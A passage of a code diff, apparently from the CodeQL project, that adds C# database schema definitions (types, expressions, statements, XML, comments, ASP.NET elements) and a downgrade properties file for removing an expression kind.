annotations, 2: warnings */ + +directive_warnings( + unique int id: @directive_warning, + string message: string ref); + +directive_errors( + unique int id: @directive_error, + string message: string ref); + +directive_undefines( + unique int id: @directive_undefine, + string name: string ref); + +directive_defines( + unique int id: @directive_define, + string name: string ref); + +pragma_checksums( + unique int id: @pragma_checksum, + int file: @file ref, + string guid: string ref, + string bytes: string ref); + +pragma_warnings( + unique int id: @pragma_warning, + int kind: int ref /* 0 = disable, 1 = restore */); + +#keyset[id, index] +pragma_warning_error_codes( + int id: @pragma_warning ref, + string errorCode: string ref, + int index: int ref); + +preprocessor_directive_location( + unique int id: @preprocessor_directive ref, + int loc: @location ref); + +preprocessor_directive_compilation( + int id: @preprocessor_directive ref, + int compilation: @compilation ref); + +preprocessor_directive_active( + unique int id: @preprocessor_directive ref, + int active: int ref); /* 0: false, 1: true */ + +/** TYPES **/ + +types( + unique int id: @type, + int kind: int ref, + string name: string ref); + +case @type.kind of + 1 = @bool_type +| 2 = @char_type +| 3 = @decimal_type +| 4 = @sbyte_type +| 5 = @short_type +| 6 = @int_type +| 7 = @long_type +| 8 = @byte_type +| 9 = @ushort_type +| 10 = @uint_type +| 11 = @ulong_type +| 12 = @float_type +| 13 = @double_type +| 14 = @enum_type +| 15 = @struct_type +| 17 = @class_type +| 19 = @interface_type +| 20 = @delegate_type +| 21 = @null_type +| 22 = @type_parameter +| 23 = @pointer_type +| 24 = @nullable_type +| 25 = @array_type +| 26 = @void_type +| 27 = @int_ptr_type +| 28 = @uint_ptr_type +| 29 = @dynamic_type +| 30 = @arglist_type +| 31 = @unknown_type +| 32 = @tuple_type +| 33 = @function_pointer_type +| 34 = @inline_array_type + ; + +@simple_type = @bool_type | @char_type | @integral_type | @floating_point_type | @decimal_type; +@integral_type = @signed_integral_type | @unsigned_integral_type; +@signed_integral_type = @sbyte_type | @short_type | @int_type | @long_type; +@unsigned_integral_type = @byte_type | @ushort_type | @uint_type | @ulong_type; +@floating_point_type = @float_type | @double_type; +@value_type = @simple_type | @enum_type | @struct_type | @nullable_type | @int_ptr_type + | @uint_ptr_type | @tuple_type | @void_type | @inline_array_type; +@ref_type = @class_type | @interface_type | @array_type | @delegate_type | @null_type + | @dynamic_type; +@value_or_ref_type = @value_type | @ref_type; + +typerefs( + unique int id: @typeref, + string name: string ref); + +typeref_type( + int id: @typeref ref, + unique int typeId: @type ref); + +@type_or_ref = @type | @typeref; + +array_element_type( + unique int array: @array_type ref, + int dimension: int ref, + int rank: int ref, + int element: @type_or_ref ref); + +nullable_underlying_type( + unique int nullable: @nullable_type ref, + int underlying: @type_or_ref ref); + +pointer_referent_type( + unique int pointer: @pointer_type ref, + int referent: @type_or_ref ref); + +enum_underlying_type( + unique int enum_id: @enum_type ref, + int underlying_type_id: @type_or_ref ref); + +delegate_return_type( + unique int delegate_id: @delegate_type ref, + int return_type_id: @type_or_ref ref); + +function_pointer_return_type( + unique int function_pointer_id: @function_pointer_type ref, + int return_type_id: @type_or_ref ref); + +extend( + int sub: @type ref, + int super: @type_or_ref ref); + +anonymous_types( + unique int id: @type ref); + +@interface_or_ref = @interface_type | @typeref; + +implement( + int sub: @type ref, + int super: @type_or_ref ref); + +type_location( + int id: @type ref, + int loc: @location ref); + +tuple_underlying_type( + unique int tuple: @tuple_type ref, + int struct: @type_or_ref ref); + +#keyset[tuple, index] +tuple_element( + int tuple: @tuple_type ref, + int index: int ref, + unique int field: @field ref); + +attributes( + unique int id: @attribute, + int kind: int ref, + int type_id: @type_or_ref ref, + int target: @attributable ref); + +case @attribute.kind of + 0 = @attribute_default +| 1 = @attribute_return +| 2 = @attribute_assembly +| 3 = @attribute_module +; + +attribute_location( + int id: @attribute ref, + int loc: @location ref); + +@type_mention_parent = @element | @type_mention; + +type_mention( + unique int id: @type_mention, + int type_id: @type_or_ref ref, + int parent: @type_mention_parent ref); + +type_mention_location( + unique int id: @type_mention ref, + int loc: @location ref); + +@has_type_annotation = @assignable | @type_parameter | @callable | @expr | @delegate_type | @generic | @function_pointer_type; + +/** + * A direct annotation on an entity, for example `string? x;`. + * + * Annotations: + * 2 = reftype is not annotated "!" + * 3 = reftype is annotated "?" + * 4 = readonly ref type / in parameter + * 5 = ref type parameter, return or local variable + * 6 = out parameter + * + * Note that the annotation depends on the element it annotates. + * @assignable: The annotation is on the type of the assignable, for example the variable type. + * @type_parameter: The annotation is on the reftype constraint + * @callable: The annotation is on the return type + * @array_type: The annotation is on the element type + */ +type_annotation(int id: @has_type_annotation ref, int annotation: int ref); + +nullability(unique int nullability: @nullability, int kind: int ref); + +case @nullability.kind of + 0 = @oblivious +| 1 = @not_annotated +| 2 = @annotated +; + +#keyset[parent, index] +nullability_parent(int nullability: @nullability ref, int index: int ref, int parent: @nullability ref) + +type_nullability(int id: @has_type_annotation ref, int nullability: @nullability ref); + +/** + * The nullable flow state of an expression, as determined by Roslyn. + * 0 = none (default, not populated) + * 1 = not null + * 2 = maybe null + */ +expr_flowstate(unique int id: @expr ref, int state: int ref); + +/** GENERICS **/ + +@generic = @type | @method | @local_function; + +type_parameters( + unique int id: @type_parameter ref, + int index: int ref, + int generic_id: @generic ref, + int variance: int ref /* none = 0, out = 1, in = 2 */); + +#keyset[constructed_id, index] +type_arguments( + int id: @type_or_ref ref, + int index: int ref, + int constructed_id: @generic_or_ref ref); + +@generic_or_ref = @generic | @typeref; + +constructed_generic( + unique int constructed: @generic ref, + int generic: @generic_or_ref ref); + +type_parameter_constraints( + unique int id: @type_parameter_constraints, + int param_id: @type_parameter ref); + +type_parameter_constraints_location( + int id: @type_parameter_constraints ref, + int loc: @location ref); + +general_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int kind: int ref /* class = 1, struct = 2, new = 3 */); + +specific_type_parameter_constraints( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref); + +specific_type_parameter_nullability( + int id: @type_parameter_constraints ref, + int base_id: @type_or_ref ref, + int nullability: @nullability ref); + +/** FUNCTION POINTERS */ + +function_pointer_calling_conventions( + int id: @function_pointer_type ref, + int kind: int ref); + +#keyset[id, index] +has_unmanaged_calling_conventions( + int id: @function_pointer_type ref, + int index: int ref, + int conv_id: @type_or_ref ref); + +/** MODIFIERS */ + +@modifiable = @modifiable_direct | @event_accessor; + +@modifiable_direct = @member | @accessor | @local_function | @anonymous_function_expr; + +modifiers( + unique int id: @modifier, + string name: string ref); + +has_modifiers( + int id: @modifiable_direct ref, + int mod_id: @modifier ref); + +/** MEMBERS **/ + +@member = @method | @constructor | @destructor | @field | @property | @event | @operator | @indexer | @type; + +@named_exprorstmt = @goto_stmt | @labeled_stmt | @expr; + +@virtualizable = @method | @property | @indexer | @event | @operator; + +exprorstmt_name( + unique int parent_id: @named_exprorstmt ref, + string name: string ref); + +nested_types( + unique int id: @type ref, + int declaring_type_id: @type ref, + int unbound_id: @type ref); + +properties( + unique int id: @property, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @property ref); + +property_location( + int id: @property ref, + int loc: @location ref); + +indexers( + unique int id: @indexer, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @indexer ref); + +indexer_location( + int id: @indexer ref, + int loc: @location ref); + +accessors( + unique int id: @accessor, + int kind: int ref, + string name: string ref, + int declaring_member_id: @member ref, + int unbound_id: @accessor ref); + +case @accessor.kind of + 1 = @getter +| 2 = @setter + ; + +init_only_accessors( + unique int id: @accessor ref); + +accessor_location( + int id: @accessor ref, + int loc: @location ref); + +events( + unique int id: @event, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @event ref); + +event_location( + int id: @event ref, + int loc: @location ref); + +event_accessors( + unique int id: @event_accessor, + int kind: int ref, + string name: string ref, + int declaring_event_id: @event ref, + int unbound_id: @event_accessor ref); + +case @event_accessor.kind of + 1 = @add_event_accessor +| 2 = @remove_event_accessor + ; + +event_accessor_location( + int id: @event_accessor ref, + int loc: @location ref); + +operators( + unique int id: @operator, + string name: string ref, + string symbol: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @operator ref); + +operator_location( + int id: @operator ref, + int loc: @location ref); + +constant_value( + int id: @variable ref, + string value: string ref); + +/** CALLABLES **/ + +@callable = @method | @constructor | @destructor | @operator | @callable_accessor | @anonymous_function_expr | @local_function; + +@callable_accessor = @accessor | @event_accessor; + +methods( + unique int id: @method, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @method ref); + +method_location( + int id: @method ref, + int loc: @location ref); + +constructors( + unique int id: @constructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @constructor ref); + +constructor_location( + int id: @constructor ref, + int loc: @location ref); + +destructors( + unique int id: @destructor, + string name: string ref, + int declaring_type_id: @type ref, + int unbound_id: @destructor ref); + +destructor_location( + int id: @destructor ref, + int loc: @location ref); + +overrides( + int id: @callable ref, + int base_id: @callable ref); + +explicitly_implements( + int id: @member ref, + int interface_id: @interface_or_ref ref); + +local_functions( + unique int id: @local_function, + string name: string ref, + int return_type: @type ref, + int unbound_id: @local_function ref); + +local_function_stmts( + unique int fn: @local_function_stmt ref, + int stmt: @local_function ref); + +/** VARIABLES **/ + +@variable = @local_scope_variable | @field; + +@local_scope_variable = @local_variable | @parameter; + +fields( + unique int id: @field, + int kind: int ref, + string name: string ref, + int declaring_type_id: @type ref, + int type_id: @type_or_ref ref, + int unbound_id: @field ref); + +case @field.kind of + 1 = @addressable_field +| 2 = @constant + ; + +field_location( + int id: @field ref, + int loc: @location ref); + +localvars( + unique int id: @local_variable, + int kind: int ref, + string name: string ref, + int implicitly_typed: int ref /* 0 = no, 1 = yes */, + int type_id: @type_or_ref ref, + int parent_id: @local_var_decl_expr ref); + +case @local_variable.kind of + 1 = @addressable_local_variable +| 2 = @local_constant +| 3 = @local_variable_ref + ; + +localvar_location( + unique int id: @local_variable ref, + int loc: @location ref); + +@parameterizable = @callable | @delegate_type | @indexer | @function_pointer_type; + +#keyset[name, parent_id] +#keyset[index, parent_id] +params( + unique int id: @parameter, + string name: string ref, + int type_id: @type_or_ref ref, + int index: int ref, + int mode: int ref, /* value = 0, ref = 1, out = 2, params/array = 3, this = 4, in = 5, ref readonly = 6 */ + int parent_id: @parameterizable ref, + int unbound_id: @parameter ref); + +param_location( + int id: @parameter ref, + int loc: @location ref); + +@has_scoped_annotation = @local_scope_variable + +scoped_annotation( + int id: @has_scoped_annotation ref, + int kind: int ref // scoped ref = 1, scoped value = 2 + ); + +/** STATEMENTS **/ + +@exprorstmt_parent = @control_flow_element | @top_level_exprorstmt_parent; + +statements( + unique int id: @stmt, + int kind: int ref); + +#keyset[index, parent] +stmt_parent( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_stmt_parent = @callable; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +stmt_parent_top_level( + unique int stmt: @stmt ref, + int index: int ref, + int parent: @top_level_stmt_parent ref); + +case @stmt.kind of + 1 = @block_stmt +| 2 = @expr_stmt +| 3 = @if_stmt +| 4 = @switch_stmt +| 5 = @while_stmt +| 6 = @do_stmt +| 7 = @for_stmt +| 8 = @foreach_stmt +| 9 = @break_stmt +| 10 = @continue_stmt +| 11 = @goto_stmt +| 12 = @goto_case_stmt +| 13 = @goto_default_stmt +| 14 = @throw_stmt +| 15 = @return_stmt +| 16 = @yield_stmt +| 17 = @try_stmt +| 18 = @checked_stmt +| 19 = @unchecked_stmt +| 20 = @lock_stmt +| 21 = @using_block_stmt +| 22 = @var_decl_stmt +| 23 = @const_decl_stmt +| 24 = @empty_stmt +| 25 = @unsafe_stmt +| 26 = @fixed_stmt +| 27 = @label_stmt +| 28 = @catch +| 29 = @case_stmt +| 30 = @local_function_stmt +| 31 = @using_decl_stmt + ; + +@using_stmt = @using_block_stmt | @using_decl_stmt; + +@labeled_stmt = @label_stmt | @case; + +@decl_stmt = @var_decl_stmt | @const_decl_stmt | @using_decl_stmt; + +@cond_stmt = @if_stmt | @switch_stmt; + +@loop_stmt = @while_stmt | @do_stmt | @for_stmt | @foreach_stmt; + +@jump_stmt = @break_stmt | @goto_any_stmt | @continue_stmt | @throw_stmt | @return_stmt + | @yield_stmt; + +@goto_any_stmt = @goto_default_stmt | @goto_case_stmt | @goto_stmt; + + +stmt_location( + unique int id: @stmt ref, + int loc: @location ref); + +catch_type( + unique int catch_id: @catch ref, + int type_id: @type_or_ref ref, + int kind: int ref /* explicit = 1, implicit = 2 */); + +foreach_stmt_info( + unique int id: @foreach_stmt ref, + int kind: int ref /* non-async = 1, async = 2 */); + +@foreach_symbol = @method | @property | @type_or_ref; + +#keyset[id, kind] +foreach_stmt_desugar( + int id: @foreach_stmt ref, + int symbol: @foreach_symbol ref, + int kind: int ref /* GetEnumeratorMethod = 1, CurrentProperty = 2, MoveNextMethod = 3, DisposeMethod = 4, ElementType = 5 */); + +/** EXPRESSIONS **/ + +expressions( + unique int id: @expr, + int kind: int ref, + int type_id: @type_or_ref ref); + +#keyset[index, parent] +expr_parent( + unique int expr: @expr ref, + int index: int ref, + int parent: @control_flow_element ref); + +@top_level_expr_parent = @attribute | @field | @property | @indexer | @parameter | @directive_if | @directive_elif; + +@top_level_exprorstmt_parent = @top_level_expr_parent | @top_level_stmt_parent; + +// [index, parent] is not a keyset because the same parent may be compiled multiple times +expr_parent_top_level( + unique int expr: @expr ref, + int index: int ref, + int parent: @top_level_exprorstmt_parent ref); + +case @expr.kind of +/* literal */ + 1 = @bool_literal_expr +| 2 = @char_literal_expr +| 3 = @decimal_literal_expr +| 4 = @int_literal_expr +| 5 = @long_literal_expr +| 6 = @uint_literal_expr +| 7 = @ulong_literal_expr +| 8 = @float_literal_expr +| 9 = @double_literal_expr +| 10 = @utf16_string_literal_expr +| 11 = @null_literal_expr +/* primary & unary */ +| 12 = @this_access_expr +| 13 = @base_access_expr +| 14 = @local_variable_access_expr +| 15 = @parameter_access_expr +| 16 = @field_access_expr +| 17 = @property_access_expr +| 18 = @method_access_expr +| 19 = @event_access_expr +| 20 = @indexer_access_expr +| 21 = @array_access_expr +| 22 = @type_access_expr +| 23 = @typeof_expr +| 24 = @method_invocation_expr +| 25 = @delegate_invocation_expr +| 26 = @operator_invocation_expr +| 27 = @cast_expr +| 28 = @object_creation_expr +| 29 = @explicit_delegate_creation_expr +| 30 = @implicit_delegate_creation_expr +| 31 = @array_creation_expr +| 32 = @default_expr +| 33 = @plus_expr +| 34 = @minus_expr +| 35 = @bit_not_expr +| 36 = @log_not_expr +| 37 = @post_incr_expr +| 38 = @post_decr_expr +| 39 = @pre_incr_expr +| 40 = @pre_decr_expr +/* multiplicative */ +| 41 = @mul_expr +| 42 = @div_expr +| 43 = @rem_expr +/* additive */ +| 44 = @add_expr +| 45 = @sub_expr +/* shift */ +| 46 = @lshift_expr +| 47 = @rshift_expr +/* relational */ +| 48 = @lt_expr +| 49 = @gt_expr +| 50 = @le_expr +| 51 = @ge_expr +/* equality */ +| 52 = @eq_expr +| 53 = @ne_expr +/* logical */ +| 54 = @bit_and_expr +| 55 = @bit_xor_expr +| 56 = @bit_or_expr +| 57 = @log_and_expr +| 58 = @log_or_expr +/* type testing */ +| 59 = @is_expr +| 60 = @as_expr +/* null coalescing */ +| 61 = @null_coalescing_expr +/* conditional */ +| 62 = @conditional_expr +/* assignment */ +| 63 = @simple_assign_expr +| 64 = @assign_add_expr +| 65 = @assign_sub_expr +| 66 = @assign_mul_expr +| 67 = @assign_div_expr +| 68 = @assign_rem_expr +| 69 = @assign_and_expr +| 70 = @assign_xor_expr +| 71 = @assign_or_expr +| 72 = @assign_lshift_expr +| 73 = @assign_rshift_expr +/* more */ +| 74 = @object_init_expr +| 75 = @collection_init_expr +| 76 = @array_init_expr +| 77 = @checked_expr +| 78 = @unchecked_expr +| 79 = @constructor_init_expr +| 80 = @add_event_expr +| 81 = @remove_event_expr +| 82 = @par_expr +| 83 = @local_var_decl_expr +| 84 = @lambda_expr +| 85 = @anonymous_method_expr +| 86 = @namespace_expr +/* dynamic */ +| 92 = @dynamic_element_access_expr +| 93 = @dynamic_member_access_expr +/* unsafe */ +| 100 = @pointer_indirection_expr +| 101 = @address_of_expr +| 102 = @sizeof_expr +/* async */ +| 103 = @await_expr +/* C# 6.0 */ +| 104 = @nameof_expr +| 105 = @interpolated_string_expr +| 106 = @unknown_expr +/* C# 7.0 */ +| 107 = @throw_expr +| 108 = @tuple_expr +| 109 = @local_function_invocation_expr +| 110 = @ref_expr +| 111 = @discard_expr +/* C# 8.0 */ +| 112 = @range_expr +| 113 = @index_expr +| 114 = @switch_expr +| 115 = @recursive_pattern_expr +| 116 = @property_pattern_expr +| 117 = @positional_pattern_expr +| 118 = @switch_case_expr +| 119 = @assign_coalesce_expr +| 120 = @suppress_nullable_warning_expr +| 121 = @namespace_access_expr +/* C# 9.0 */ +| 122 = @lt_pattern_expr +| 123 = @gt_pattern_expr +| 124 = @le_pattern_expr +| 125 = @ge_pattern_expr +| 126 = @not_pattern_expr +| 127 = @and_pattern_expr +| 128 = @or_pattern_expr +| 129 = @function_pointer_invocation_expr +| 130 = @with_expr +/* C# 11.0 */ +| 131 = @list_pattern_expr +| 132 = @slice_pattern_expr +| 133 = @urshift_expr +| 134 = @assign_urshift_expr +| 135 = @utf8_string_literal_expr +/* C# 12.0 */ +| 136 = @collection_expr +| 137 = @spread_element_expr +/* Preprocessor */ +| 999 = @define_symbol_expr +; + +@switch = @switch_stmt | @switch_expr; +@case = @case_stmt | @switch_case_expr; +@pattern_match = @case | @is_expr; +@unary_pattern_expr = @not_pattern_expr; +@relational_pattern_expr = @gt_pattern_expr | @lt_pattern_expr | @ge_pattern_expr | @le_pattern_expr; +@binary_pattern_expr = @and_pattern_expr | @or_pattern_expr; + +@integer_literal_expr = @int_literal_expr | @long_literal_expr | @uint_literal_expr | @ulong_literal_expr; +@real_literal_expr = @float_literal_expr | @double_literal_expr | @decimal_literal_expr; +@string_literal_expr = @utf16_string_literal_expr | @utf8_string_literal_expr; +@literal_expr = @bool_literal_expr | @char_literal_expr | @integer_literal_expr | @real_literal_expr + | @string_literal_expr | @null_literal_expr; + +@assign_expr = @simple_assign_expr | @assign_op_expr | @local_var_decl_expr; +@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr | @assign_event_expr | @assign_coalesce_expr; +@assign_event_expr = @add_event_expr | @remove_event_expr; + +@assign_arith_expr = @assign_add_expr | @assign_sub_expr | @assign_mul_expr | @assign_div_expr + | @assign_rem_expr +@assign_bitwise_expr = @assign_and_expr | @assign_or_expr | @assign_xor_expr + | @assign_lshift_expr | @assign_rshift_expr | @assign_urshift_expr; + +@member_access_expr = @field_access_expr | @property_access_expr | @indexer_access_expr | @event_access_expr + | @method_access_expr | @type_access_expr | @dynamic_member_access_expr; +@access_expr = @member_access_expr | @this_access_expr | @base_access_expr | @assignable_access_expr | @namespace_access_expr; +@element_access_expr = @indexer_access_expr | @array_access_expr | @dynamic_element_access_expr; + +@local_variable_access = @local_variable_access_expr | @local_var_decl_expr; +@local_scope_variable_access_expr = @parameter_access_expr | @local_variable_access; +@variable_access_expr = @local_scope_variable_access_expr | @field_access_expr; + +@assignable_access_expr = @variable_access_expr | @property_access_expr | @element_access_expr + | @event_access_expr | @dynamic_member_access_expr; + +@objectorcollection_init_expr = @object_init_expr | @collection_init_expr; + +@delegate_creation_expr = @explicit_delegate_creation_expr | @implicit_delegate_creation_expr; + +@bin_arith_op_expr = @mul_expr | @div_expr | @rem_expr | @add_expr | @sub_expr; +@incr_op_expr = @pre_incr_expr | @post_incr_expr; +@decr_op_expr = @pre_decr_expr | @post_decr_expr; +@mut_op_expr = @incr_op_expr | @decr_op_expr; +@un_arith_op_expr = @plus_expr | @minus_expr | @mut_op_expr; +@arith_op_expr = @bin_arith_op_expr | @un_arith_op_expr; + +@ternary_log_op_expr = @conditional_expr; +@bin_log_op_expr = @log_and_expr | @log_or_expr | @null_coalescing_expr; +@un_log_op_expr = @log_not_expr; +@log_expr = @un_log_op_expr | @bin_log_op_expr | @ternary_log_op_expr; + +@bin_bit_op_expr = @bit_and_expr | @bit_or_expr | @bit_xor_expr | @lshift_expr + | @rshift_expr | @urshift_expr; +@un_bit_op_expr = @bit_not_expr; +@bit_expr = @un_bit_op_expr | @bin_bit_op_expr; + +@equality_op_expr = @eq_expr | @ne_expr; +@rel_op_expr = @gt_expr | @lt_expr| @ge_expr | @le_expr; +@comp_expr = @equality_op_expr | @rel_op_expr; + +@op_expr = @assign_expr | @un_op | @bin_op | @ternary_op; + +@ternary_op = @ternary_log_op_expr; +@bin_op = @bin_arith_op_expr | @bin_log_op_expr | @bin_bit_op_expr | @comp_expr; +@un_op = @un_arith_op_expr | @un_log_op_expr | @un_bit_op_expr | @sizeof_expr + | @pointer_indirection_expr | @address_of_expr; + +@anonymous_function_expr = @lambda_expr | @anonymous_method_expr; + +@call = @method_invocation_expr | @constructor_init_expr | @operator_invocation_expr + | @delegate_invocation_expr | @object_creation_expr | @call_access_expr + | @local_function_invocation_expr | @function_pointer_invocation_expr; + +@call_access_expr = @property_access_expr | @event_access_expr | @indexer_access_expr; + +@late_bindable_expr = @dynamic_element_access_expr | @dynamic_member_access_expr + | @object_creation_expr | @method_invocation_expr | @operator_invocation_expr; + +@throw_element = @throw_expr | @throw_stmt; + +@implicitly_typeable_object_creation_expr = @object_creation_expr | @explicit_delegate_creation_expr; + +implicitly_typed_array_creation( + unique int id: @array_creation_expr ref); + +explicitly_sized_array_creation( + unique int id: @array_creation_expr ref); + +stackalloc_array_creation( + unique int id: @array_creation_expr ref); + +implicitly_typed_object_creation( + unique int id: @implicitly_typeable_object_creation_expr ref); + +mutator_invocation_mode( + unique int id: @operator_invocation_expr ref, + int mode: int ref /* prefix = 1, postfix = 2*/); + +expr_value( + unique int id: @expr ref, + string value: string ref); + +expr_call( + unique int caller_id: @expr ref, + int target_id: @callable ref); + +expr_access( + unique int accesser_id: @access_expr ref, + int target_id: @accessible ref); + +@accessible = @method | @assignable | @local_function | @namespace; + +expr_location( + unique int id: @expr ref, + int loc: @location ref); + +dynamic_member_name( + unique int id: @late_bindable_expr ref, + string name: string ref); + +@qualifiable_expr = @member_access_expr + | @method_invocation_expr + | @element_access_expr; + +conditional_access( + unique int id: @qualifiable_expr ref); + +expr_argument( + unique int id: @expr ref, + int mode: int ref); + /* mode is the same as params: value = 0, ref = 1, out = 2 */ + +expr_argument_name( + unique int id: @expr ref, + string name: string ref); + +lambda_expr_return_type( + unique int id: @lambda_expr ref, + int type_id: @type_or_ref ref); + +/* Compiler generated */ + +compiler_generated(unique int id: @element ref); + +/** CONTROL/DATA FLOW **/ + +@control_flow_element = @stmt | @expr; + +/* XML Files */ + +xmlEncoding ( + unique int id: @file ref, + string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref); + +@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace; + +/* Comments */ + +commentline( + unique int id: @commentline, + int kind: int ref, + string text: string ref, + string rawtext: string ref); + +case @commentline.kind of + 0 = @singlelinecomment +| 1 = @xmldoccomment +| 2 = @multilinecomment; + +commentline_location( + unique int id: @commentline ref, + int loc: @location ref); + +commentblock( + unique int id : @commentblock); + +commentblock_location( + unique int id: @commentblock ref, + int loc: @location ref); + +commentblock_binding( + int id: @commentblock ref, + int entity: @element ref, + int bindtype: int ref); /* 0: Parent, 1: Best, 2: Before, 3: After */ + +commentblock_child( + int id: @commentblock ref, + int commentline: @commentline ref, + int index: int ref); + +/* ASP.NET */ + +case @asp_element.kind of + 0=@asp_close_tag +| 1=@asp_code +| 2=@asp_comment +| 3=@asp_data_binding +| 4=@asp_directive +| 5=@asp_open_tag +| 6=@asp_quoted_string +| 7=@asp_text +| 8=@asp_xml_directive; + +@asp_attribute = @asp_code | @asp_data_binding | @asp_quoted_string; + +asp_elements( + unique int id: @asp_element, + int kind: int ref, + int loc: @location ref); + +asp_comment_server(unique int comment: @asp_comment ref); +asp_code_inline(unique int code: @asp_code ref); +asp_directive_attribute( + int directive: @asp_directive ref, + int index: int ref, + string name: string ref, + int value: @asp_quoted_string ref); +asp_directive_name( + unique int directive: @asp_directive ref, + string name: string ref); +asp_element_body( + unique int element: @asp_element ref, + string body: string ref); +asp_tag_attribute( + int tag: @asp_open_tag ref, + int index: int ref, + string name: string ref, + int attribute: @asp_attribute ref); +asp_tag_name( + unique int tag: @asp_open_tag ref, + string name: string ref); +asp_tag_isempty(int tag: @asp_open_tag ref); diff --git a/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/upgrade.properties b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/upgrade.properties new file mode 100644 index 00000000000..9e9a659b10a --- /dev/null +++ b/csharp/downgrades/66044cfa5bbf2ecfabd06ead25e91db2bdd79764/upgrade.properties @@ -0,0 +1,3 @@ +description: Remove `interpolated_string_insert_expr` kind. +compatibility: partial +expressions.rel: run expressions.qlo diff --git a/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/old.dbscheme b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/old.dbscheme new file mode 100644 index 00000000000..a2bda57dbc6 --- /dev/null +++ b/csharp/ql/lib/upgrades/a2bda57dbc6eea94c50128522aae536e8edd5a3c/old.dbscheme @@ -0,0 +1,1459 @@ +/* This is a dummy line to alter the dbscheme, so we can make a database upgrade + * without actually changing any of the dbscheme predicates. It contains a date + * to allow for such updates in the future as well. + * + * 2021-07-14 + * + * DO NOT remove this comment carelessly, since it can revert the dbscheme back to a + * previously seen state (matching a previously seen SHA), which would make the upgrade + * mechanism not work properly. + */ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * csc f1.cs f2.cs f3.cs + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + unique int id : @compilation, + string cwd : string ref +); + +compilation_info( + int id : @compilation ref, + string info_key: string ref, + string info_value: string ref +) + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | --compiler + * 1 | *path to compiler* + * 2 | f1.cs + * 3 | f2.cs + * 4 | f3.cs + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The expanded arguments that were passed to the extractor for a + * compiler invocation. This is similar to `compilation_args`, but + * for a `@someFile.rsp` argument, it includes the arguments from that + * file, rather than just taking the argument literally. + */ +#keyset[id, num] +compilation_expanded_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.cs + * 1 | f2.cs + * 2 | f3.cs + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The references used by a compiler invocation. + * If `id` is for the compiler invocation + * + * csc f1.cs f2.cs f3.cs /r:ref1.dll /r:ref2.dll /r:ref3.dll + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | ref1.dll + * 1 | ref2.dll + * 2 | ref3.dll + */ +#keyset[id, num] +compilation_referencing_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + unique int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location ref +); + +extractor_messages( + unique int id: @extractor_message, + int severity: int ref, + string origin : string ref, + string text : string ref, 